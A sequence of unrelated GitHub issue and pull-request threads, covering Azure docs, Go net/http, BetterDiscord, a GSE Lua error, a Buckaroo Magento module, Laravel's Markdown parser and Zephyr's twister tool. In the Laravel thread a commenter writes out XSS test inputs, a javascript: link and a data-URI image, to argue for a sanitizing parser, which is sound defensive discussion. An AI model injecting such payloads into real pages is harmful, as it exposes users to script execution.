Hi @deshrivahttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fdeshriva&data=04|01|Deepali.Shrivastava%40microsoft.com|c6b5ffd134154309f3b808d8964a7d1f|72f988bf86f141af91ab2d7cd011db47|1|1|637424593961679410|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|1000&sdata=m0%2B%2FC%2BzqONdjBCCU2U2NK6yUKGR4BnM6UMPv8yVzfiE%3D&reserved=0 - This pull request was opened in the public repo. PMs should work in the private repo, per the Microsoft Docs contributor guide. It looks like you have worked in the private repo before; would you make this content update in the private repo? Thank you! We'll close this PR.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2FMicrosoftDocs%2Fazure-docs%2Fpull%2F66971%23issuecomment-736866932&data=04|01|Deepali.Shrivastava%40microsoft.com|c6b5ffd134154309f3b808d8964a7d1f|72f988bf86f141af91ab2d7cd011db47|1|1|637424593961679410|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|1000&sdata=2XnGeu70CUtZWkR5QwAW4xidphyHP%2F6eWERWyWLkoSI%3D&reserved=0, or unsubscribehttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fnotifications%2Funsubscribe-auth%2FAFOWHQ6QOY7PV7CZ3VQZ6HDSSVWQFANCNFSM4UJT7TSA&data=04|01|Deepali.Shrivastava%40microsoft.com|c6b5ffd134154309f3b808d8964a7d1f|72f988bf86f141af91ab2d7cd011db47|1|1|637424593961689407|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|1000&sdata=eHbwRbWs3aUT4X0UGrEyCXC07H10ig2dx3pCfuzI30A%3D&reserved=0.

Hi @deshriva - I'll send you the information in email tomorrow. Meanwhile, I've reopened this pull request; we can review and merge it from here. Thanks.

@ktoliver I've pulled these changes into a PR on the private repo:

Thanks @hrasheed-msft


net/http: use initial request protocol version for redirect requests

This is useful for a logging RoundTripper that uses httputil.DumpRequest and it also matches NewRequest behavior.

Closing, see gerrit discussion


修复了Api处url命令执行

Revert Cobra Java的时候把之前改的正则也Revert了，重新提交一下

Pull Request Test Coverage Report for Build 460

0 of 1 (0.0%)  changed or added relevant line in 1 file are covered.
18 unchanged lines in 7 files lost coverage.
Overall coverage increased (+0.5%) to 41.967%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

cobra/utils.py
0
1
0.0%

Files with Coverage Reduction
New Missed Lines
%

cobra/log.py
1
44.2%

cobra/init.py
1
27.85%

cobra/utils.py
1
35.08%

cobra/templite.py
1
0.0%

cobra/config.py
2
62.34%

cobra/api.py
4
12.58%

cobra/cve.py
8
80.18%

Totals

Change from base Build 458:
0.5%

Covered Lines:
1664

Relevant Lines:
3965

💛  - Coveralls


Not working with flatpak Discord after today's update

[baconcatbug@fedora ~]$ betterdiscordctl self-upgrade
betterdiscordctl is already the latest version (2.0.1).
[baconcatbug@fedora ~]$ betterdiscordctl reinstall flatpak
Killing Discord  processes...
No active processes found.
Reinstalled.
[baconcatbug@fedora ~]$ betterdiscordctl -i flatpak -v -v status
V: Found modules in /home/baconcatbug/.var/app/com.discordapp.Discord/config/discord/0.0.19/modules
VV: BetterDiscord remote GitHub repository owner: BetterDiscord
VV: BetterDiscord remote GitHub repository name: BetterDiscord
VV: BetterDiscord remote GitHub repository release: latest
VV: BetterDiscord remote URL: https://github.com/BetterDiscord/BetterDiscord/releases/latest/download
VV: BetterDiscord remote directory: /home/baconcatbug/.var/app/com.discordapp.Discord/config/BetterDiscord/data
VV: BetterDiscord remote asar path: betterdiscord.asar
VV: BetterDiscord asar installation: /home/baconcatbug/.var/app/com.discordapp.Discord/config/BetterDiscord/data/betterdiscord.asar
Discord install: flatpak
Discord flavor:
Discord modules: /home/baconcatbug/.var/app/com.discordapp.Discord/config/discord/0.0.19/modules
BetterDiscord directory: /home/baconcatbug/.var/app/com.discordapp.Discord/config/BetterDiscord
BetterDiscord asar installed: (symbolic link) yes
Discord "index.js" injected: no
BetterDiscord remote: github
BetterDiscord remote GitHub: ~BetterDiscord/BetterDiscord#latest

Use betterdiscordctl -i flatpak install or betterdiscordctl -i flatpak reinstall

betterdiscordctl -i flatpak install worked, thank you


[BUG] Processing Loop Variables caused LUA Error with Repeat Blocks

🔵 Describe the bug:
LUA error received after updating GSE Addon.  Too many macro executions (5 or more) and the LUA pops up.
🔵 To reproduce: (Steps to reproduce the behavior)
multiple clicks of GSE Rotation leads to LUA error.
🔵 The error:
Paste the error message in this blockquote.
Message: Interface\AddOns\GSE\API\StringFunctions.lua:60: attempt to call method 'gsub' (a nil value)
Time: Fri Sep 16 08:50:58 2022
Count: 1
Stack: Interface\AddOns\GSE\API\StringFunctions.lua:60: attempt to call method 'gsub' (a nil value)
[string "@Interface\AddOns\GSE\API\StringFunctions.lua"]:60: in function `SplitMeIntolines'
[string "@Interface\AddOns\GSE\API\Translator.lua"]:33: in function `ProcessLoopVariables'
[string "@Interface\AddOns\GSE\API\Storage.lua"]:1179: in function `processAction'
[string "@Interface\AddOns\GSE\API\Storage.lua"]:1386: in function `CompileTemplate'
[string "@Interface\AddOns\GSE\API\Storage.lua"]:536: in function `OOCUpdateSequence'
[string "@Interface\AddOns\GSE\API\Events.lua"]:562: in function `?'
[string "@Interface\AddOns\Details\Libs\AceTimer-3.0\AceTimer-3.0.lua"]:55: in function <...ce\AddOns\Details\Libs\AceTimer-3.0\AceTimer-3.0.lua:50>

Locals: str = <table> {
 Action = "~~KeyPress~~
/cast [combat] Victory Rush
~~KeyRelease~~
/use [combat,nochanneling] 13
/use [combat,nochanneling] 14"
 Interval = 3
}
t = <table> {
}
helper = <function> defined @Interface\AddOns\GSE\API\StringFunctions.lua:55
(*temporary) = <function> defined @Interface\AddOns\GSE\API\StringFunctions.lua:55
(*temporary) = nil
(*temporary) = <table> {
 Action = "~~KeyPress~~
/cast [combat] Victory Rush
~~KeyRelease~~
/use [combat,nochanneling] 13
/use [combat,nochanneling] 14"
 Interval = 3
}
(*temporary) = "(.-)
?
"
(*temporary) = <function> defined @Interface\AddOns\GSE\API\StringFunctions.lua:55
(*temporary) = "attempt to call method 'gsub' (a nil value)"
GSE = <table> {
 GetTimestamp = <function> defined @Interface\AddOns\GSE\API\StringFunctions.lua:257
 GetClassIcon = <function> defined @Interface\AddOns\GSE\API\CharacterFunctions.lua:66
 Update3023 = <function> defined @Interface\AddOns\GSE\API\OneOffEvents.lua:21
 GetResetOOC = <function> defined @Interface\AddOns\GSE\API\CharacterFunctions.lua:185
 RequestSequence = <function> defined @Interface\AddOns\GSE\API\Serialisation.lua:331
 CloneSequence = <function> defined @Interface\AddOns\GSE\API\Storage.lua:37
 SplitCastSequence = <function> defined @Interface\AddOns\GSE\API\StringFunctions.lua:65
 ObjectExists = <function> defined @Interface\AddOns\GSE\API\StringFunctions.lua:252
 RemoveComments = <function> defined @Interface\AddOns\GSE\API\StringFunctions.lua:341
 GetCurrentTalents = <function> defined @Interface\AddOns\GSE\API\CharacterFunctions.lua:109
 UnregisterComm = <function> defined @Interface\AddOns\Bagnon\common\Wildpants\libs\CallbackHandler-1.0\CallbackHandler-1.0.lua:153
 StopOOCTimer = <function> defined @Interface\AddOns\GSE\API\Events.lua:548
 OutputQueue = <table> {
 }
 MediaPath = "Interface\Addons\GSE\Media"
 inArena = false
 PerformOneOffEvents = <function> defined @Interface\AddOns\GSE\API\OneOffEvents.lua:6
 DebugDumpButton = <function> defined @Interface\AddOns\GSE\API\Storage.lua:554
 GetSpecNames = <function> defined @Interface\AddOns\GSE\API\CharacterFunctions.lua:95
 inScenario = false
 TableDiff = <function> defined @Interface\AddOns\GSE\API\StringFunctions.lua:314
 inTimeWalking = false
 GSSlash = <function> defined @Interface\AddOns\GSE\API\Events.lua:457
 LoadStorage = <function> defined @Interface\AddOns\GSE\API\Storage.lua:255
 inDungeon = false
 UsedSequences = <table> {
 }
 PerformPrint = <function> defined @Interface\AddOns\GSE\API\Init.lua:83
 ImportCompressedMacroCollection = <function> defined @Interface\AddOns\GSE\API\Storage.lua:289
 LoadWeakAura = <function> defined @Interface\AddOns\GSE\API\CharacterFunctions.lua:142
 UpdateIcon = <function> defined @Interface\AddOns\GSE\API\Storage.lua:744
 ADDON_LOADED = <function> defined @Interface\AddOns\GSE\API\Events.lua:195
 miniMapHide = <function> defined @Interface\AddOns\GSE_LDB\LDBProvider.lua:171
 RegisterMessage = <function> defined @Interface\AddOns\Bagnon\common\Wildpants\libs\CallbackHandler-1.0\CallbackHandler-1.0.lua:90
 UnregisterMessage = <function> defined

🔵 Screenshots:
If applicable, add screenshots to help explain your problem.
🔵 Expected behavior:
No LUA errors
🔵 GSE.lua file:
Please provide your GSE.lua file or the export string for the specific macro that is causing an issue.
#showtooltip
/click [button:2] EA_AW_OB RightButton; [button:3] EA_AW_OB MiddleButton; [button:4] EA_AW_OB Button4; [button:5] EA_AW_OB Button5; EA_AW_OB
GSE.lua.txt
🔵 Desktop (please complete the following information):
Windows 11 game version <IP_ADDRESS>338
🔵 GSE Version:

Version: 3.1.05-7
Downloaded From: https://www.curseforge.com

🔵 Additional context:
Only started on last addon update.

Note: by manually reverting to GSE 3.1.04 everything is working again.

This is not an issue with the normal 3.1.05 and has been fixed for the upcoming 3.1.06

You could also revert to 3.1.05 which is more reliable than 3.1.04
3.1.05-7 -- the 7 is the 7th change past the last major version.  Gotta
love differences between Classic and Retail.
On Fri, 16 Sept 2022 at 22:47, sringo22 @.***> wrote:

Note: by manually reverting to GSE 3.1.04 everything is working again.
—
Reply to this email directly, view it on GitHub
https://github.com/TimothyLuke/GSE-Advanced-Macro-Compiler/issues/1162#issuecomment-1249354995,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAEMCFO2KSSEHWQWMQKJM53V6RXQJANCNFSM6AAAAAAQOKBBEU
.
You are receiving this because you are subscribed to this thread.Message
ID: @.***
.com>

--
Timothy Minahan**M 0406 413 680  |  E @.**


Admin paymentmethods are missing

Hello,
We just updated from the sisow magento module to buckaroo module (1.45.0) while we updated magento to 2.4.6. The process was pretty smooth and we ran into no major issues but one.
When placing an order through the admin, no payment methods are loaded in for me. It simply says 'No payment methods'

If I enable a magento payment method such as 'Bank transfer payment' it does show up as an option.

@NTimJuist Thanks for your issue, can you tell me from which version you updated from? And did you clear WSDL cash after the update & double checked the credentials (websitekey/secretkey)?

@Buckaroo-Rens
Of course, we updated from sisow/plg-magento2, 5.4.18 and magento version 2.4.3.
For reference the process I took:
Updated magento to 2.4.6, ran composer update so it would update all modules to their latest version.
Ran setup upgrade and other commands and started testing the store.
Noticed issues in the checkout and saw that the sisow module was no longer supported in favor of your module from buckaroo (the client was already using buckaroo panel).
Removed sisow through composer
Installed the buckaroo through composer.
Ran setup upgrade and flushed the cache.
Started configuring payment methods and keys.
I set all payment methods in test mode and allowed the develop enviroment to receive test payments in buckaroo configuration.
Tested the frontend and orders were going through without problem.
Then when I got around to testing the backend I noticed the problem. I forgot to mention I also tried setting a payment method to 'live mode'
In reaction on your 'Extra 2: From back-end only Bank tranfer, PayPerEmail & PayLink are available. So not sure if you already tried enabling those.'
Am I to understand that buckaroo then does not support order placement from admin using payment methods such as ideal, paypal or credit cards?

@NTimJuist Correct, we do not offer this directly but it's possible true PayPerEmail & Paylink, with those 2 methods you can link any payment method to it. Also iDEAL. It creates a payment link (or email with link) that will redirect to our hosted payment page. if you have only iDEAL linked to PayPerEmail/PayLink it will have the same 'feel' as a regular checkout flow.

@Buckaroo-Rens  Ok, that would explain it then. Thanks for letting me know! :) I'll see what the client wishes to do with this then.


[5.5] Use CommonMark parser

Parsedown is faster than League's CommonMark parser, however Parsedown has no XSS protected whatsoever and CommonMark does (opt-in).
Since the Parsedown project doesn't seem to be interested in changing that (see open issues.), I'd suggest switching.
I find myself installing league/commonmark for most projects to prevent XSS injections in comments, posts, or similar.
Internally Laravel uses Markdown only for emails, which are most likely queued, so speed is not a concern.

You can just use regular PHP though?
$html = parsedown(htmlentities($text));
or
$html = parsedown(strip_tags($text));

Yes, but we can't strip markdown injections:
[Click me](javascript:alert('XSS'))

![Inline image](data:image/gif;base64,R0lGODlhEAAQAMQAAORHHOVSKudfOulrSOp3WOyDZu6QdvCchPGolfO0o/XBs/fNwfjZ0frl3/zy7////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkAABAALAAAAAAQABAAAAVVICSOZGlCQAosJ6mu7fiyZeKqNKToQGDsM8hBADgUXoGAiqhSvp5QAnQKGIgUhwFUYLCVDFCrKUE1lBavAViFIDlTImbKC5Gm2hB0SlBCBMQiB0UjIQA7)

@adamwathan just pointed out to do sanitization afterwards:

https://github.com/ircmaxell/Stauros
https://github.com/showdownjs/showdown/wiki/Markdown's-XSS-Vulnerability-(and-how-to-mitigate-it)


SMD-819: Make current underspend optional

Change description
Make current underspend optional as it is not required in Q4 according to the spreadsheet
(Added a TODO to make this a cross-table validation against the reporting period, but not implemented this yet so we can expedite this fix)

[ ] Unit tests and other appropriate tests added or updated
[ ] README and other documentation has been updated / added (if needed)
[x] Commit messages are meaningful and follow good commit message guidelines (e.g. "FS-XXXX: Add margin to nav items preventing overlapping of logo")

How to test
Leaving current underspend blank should allow successful submission
Screenshots of UI changes (if applicable)

Now that PR is up for cross-table validation fix, best to remove TODO comment in this PR


twister: The --board-root parameter doesn't appear to work

Describe the bug
We are trying to use "out of tree" sources for our board, but I have been unable to get --board_root to work.
I can copy the board folder into Zephyr/boards/arm and it works fine without this flag.
To Reproduce
Steps to reproduce the behavior:

./scripts/twister -vvv --device-testing --device-serial /dev/ttyUSB1 --board-root /home/druffer/zephyrproject/zephyr-tmo-sdk --platform pets_v2_dev_kit --testcase-root tests/kernel/sched/preempt
Copy our board folder into Zephyr/boards/arm
./scripts/twister -vvv --device-testing --device-serial /dev/ttyUSB1 --board-root /home/druffer/zephyrproject/zephyr-tmo-sdk --platform pets_v2_dev_kit --testcase-root tests/kernel/sched/preempt
It builds and PASSES

Expected behavior
I expect that the test PASSES without having to copy it into Zephyr/boards/arm
Impact
This means we cannot use the "out of tree" methods.
Logs and console output
Without the copy in Zephyr/boards/arm:
druffer@druffer-Surface-Pro-2:~/zephyrproject/zephyr$ ./scripts/twister -vvv --device-testing --device-serial /dev/ttyUSB1 --board-root /home/druffer/zephyrproject/zephyr-tmo-sdk --platform pets_v2_dev_kit --testcase-root tests/kernel/sched/preempt
ZEPHYR_BASE unset, using "/home/druffer/zephyrproject/zephyr"
Renaming output directory to /home/druffer/zephyrproject/zephyr/twister-out.16
INFO    - Zephyr version: v2.6.0-rc2-124-gc8ccacef8f82
INFO    - JOBS: 4
DEBUG   - Reading test case configuration files under /home/druffer/zephyrproject/zephyr/tests/kernel/sched/preempt...
DEBUG   - Found possible test case in /home/druffer/zephyrproject/zephyr/tests/kernel/sched/preempt
DEBUG   - Reading platform configuration files under /home/druffer/zephyrproject/zephyr/boards...
DEBUG   - Reading platform configuration files under /home/druffer/zephyrproject/zephyr/scripts/pylib/twister/boards...
DEBUG   - Reading platform configuration files under /home/druffer/zephyrproject/zephyr-tmo-sdk...
DEBUG   - Running cmake script /home/druffer/zephyrproject/zephyr/cmake/verify-toolchain.cmake
DEBUG   - Calling cmake with arguments: ['-DFORMAT=json', '-P', PosixPath('/home/druffer/zephyrproject/zephyr/cmake/verify-toolchain.cmake')]
DEBUG   - Finished running  /home/druffer/zephyrproject/zephyr/cmake/verify-toolchain.cmake
INFO    - Using 'zephyr' toolchain.
DEBUG   - platform filter: ['pets_v2_dev_kit']
DEBUG   -     arch_filter: None
DEBUG   -      tag_filter: None
DEBUG   -     exclude_tag: None
INFO    - Building initial testcase list...
INFO    - 1 test scenarios (0 configurations) selected, 0 configurations discarded due to filters.
Device testing on:

Platform
ID
Serial device

pets_v2_dev_kit

/dev/ttyUSB1

INFO    - Adding tasks to the queue...
INFO    - Added initial list of jobs to queue
DEBUG   - Launch process 0
DEBUG   - Launch process 1
DEBUG   - Launch process 2
DEBUG   - Launch process 3
DEBUG   - running footprint_reports
INFO    - 0 of 0 test configurations passed (0.00%), 0 failed, 0 skipped with 0 warnings in 0.99 seconds
INFO    - In total 0 test cases were executed, 0 skipped on 0 out of total 372 platforms (0.00%)
INFO    - 0 test configurations executed on platforms, 0 test configurations were only built.
Hardware distribution summary:

Board
ID
Counter

INFO    - Run completed

With the copy in Zephyr/boards/arm:
druffer@druffer-Surface-Pro-2:~/zephyrproject/zephyr$ ./scripts/twister -vvv --device-testing --device-serial /dev/ttyUSB1 --board-root /home/druffer/zephyrproject/zephyr-tmo-sdk --platform pets_v2_dev_kit --testcase-root tests/kernel/sched/preempt
ZEPHYR_BASE unset, using "/home/druffer/zephyrproject/zephyr"
Renaming output directory to /home/druffer/zephyrproject/zephyr/twister-out.17
INFO    - Zephyr version: v2.6.0-rc2-124-gc8ccacef8f82
INFO    - JOBS: 4
DEBUG   - Reading test case configuration files under /home/druffer/zephyrproject/zephyr/tests/kernel/sched/preempt...
DEBUG   - Found possible test case in /home/druffer/zephyrproject/zephyr/tests/kernel/sched/preempt
DEBUG   - Reading platform configuration files under /home/druffer/zephyrproject/zephyr/boards...
DEBUG   - Reading platform configuration files under /home/druffer/zephyrproject/zephyr/scripts/pylib/twister/boards...
DEBUG   - Reading platform configuration files under /home/druffer/zephyrproject/zephyr-tmo-sdk...
DEBUG   - Running cmake script /home/druffer/zephyrproject/zephyr/cmake/verify-toolchain.cmake
DEBUG   - Calling cmake with arguments: ['-DFORMAT=json', '-P', PosixPath('/home/druffer/zephyrproject/zephyr/cmake/verify-toolchain.cmake')]
DEBUG   - Finished running  /home/druffer/zephyrproject/zephyr/cmake/verify-toolchain.cmake
INFO    - Using 'zephyr' toolchain.
DEBUG   - platform filter: ['pets_v2_dev_kit']
DEBUG   -     arch_filter: None
DEBUG   -      tag_filter: None
DEBUG   -     exclude_tag: None
INFO    - Building initial testcase list...
INFO    - 1 test scenarios (1 configurations) selected, 0 configurations discarded due to filters.
Device testing on:

Platform
ID
Serial device

pets_v2_dev_kit

/dev/ttyUSB1

INFO    - Adding tasks to the queue...
DEBUG   - adding pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt
INFO    - Added initial list of jobs to queue
DEBUG   - Launch process 0
DEBUG   - Launch process 1
DEBUG   - Launch process 2
DEBUG   - Launch process 3
DEBUG   - Running cmake on /home/druffer/zephyrproject/zephyr/tests/kernel/sched/preempt for pets_v2_dev_kit
DEBUG   - Calling cmake with arguments: ['-B/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt', '-S/home/druffer/zephyrproject/zephyr/tests/kernel/sched/preempt', '-DEXTRA_CFLAGS="-Werror"', '-DEXTRA_AFLAGS="-Wa,--fatal-warnings', '-DEXTRA_LDFLAGS="-Wl,--fatal-warnings"', '-DEXTRA_GEN_DEFINES_ARGS=--err-on-deprecated-properties', '-GUnix Makefiles', '-DBOARD=pets_v2_dev_kit']
DEBUG   - Finished building /home/druffer/zephyrproject/zephyr/tests/kernel/sched/preempt for pets_v2_dev_kit
DEBUG   - build test: pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt
DEBUG   - Building /home/druffer/zephyrproject/zephyr/tests/kernel/sched/preempt for pets_v2_dev_kit
DEBUG   - run test: pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt
DEBUG   - Using serial device /dev/ttyUSB1
DEBUG   - Flash command: ['make', '-C', '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt', 'flash']
DEBUG   - DEVICE: *** Booting Zephyr OS build v2.6.0-rc2-124-gc8ccacef8f82  ***
DEBUG   - make: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[1]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[2]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[3]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
Scanning dependencies of target flash
make[3]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[3]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
Flashing pets_v2_dev_kit
-- west flash: rebuilding
make[4]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[5]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[  1%] Built target parse_syscalls_target
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[  2%] Built target kobj_types_h_target
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[  2%] Built target syscall_list_h_target
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[  3%] Built target driver_validation_h_target
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[  4%] Built target offsets
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[  5%] Built target offsets_h
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[  5%] Built target zephyr_generated_headers
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[  6%] Built target app
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[ 22%] Built target kernel
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[ 22%] Built target linker_zephyr_prebuilt_script_target
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[ 49%] Built target zephyr
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[ 51%] Built target isr_tables
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[ 52%] Built target arch__common
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[ 60%] Built target arch__arm__core__aarch32
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[ 67%] Built target arch__arm__core__aarch32__cortex_m
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[ 69%] Built target arch__arm__core__aarch32__mpu
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[ 79%] Built target lib__libc__minimal
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[ 81%] Built target lib__posix
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[ 83%] Built target soc__arm__common__cortex_m
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[ 84%] Built target boards__arm__pets_v2_dev_kit
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[ 86%] Built target subsys__testsuite__ztest
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[ 87%] Built target drivers__gpio
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[ 89%] Built target drivers__i2c
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[ 91%] Built target drivers__serial
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
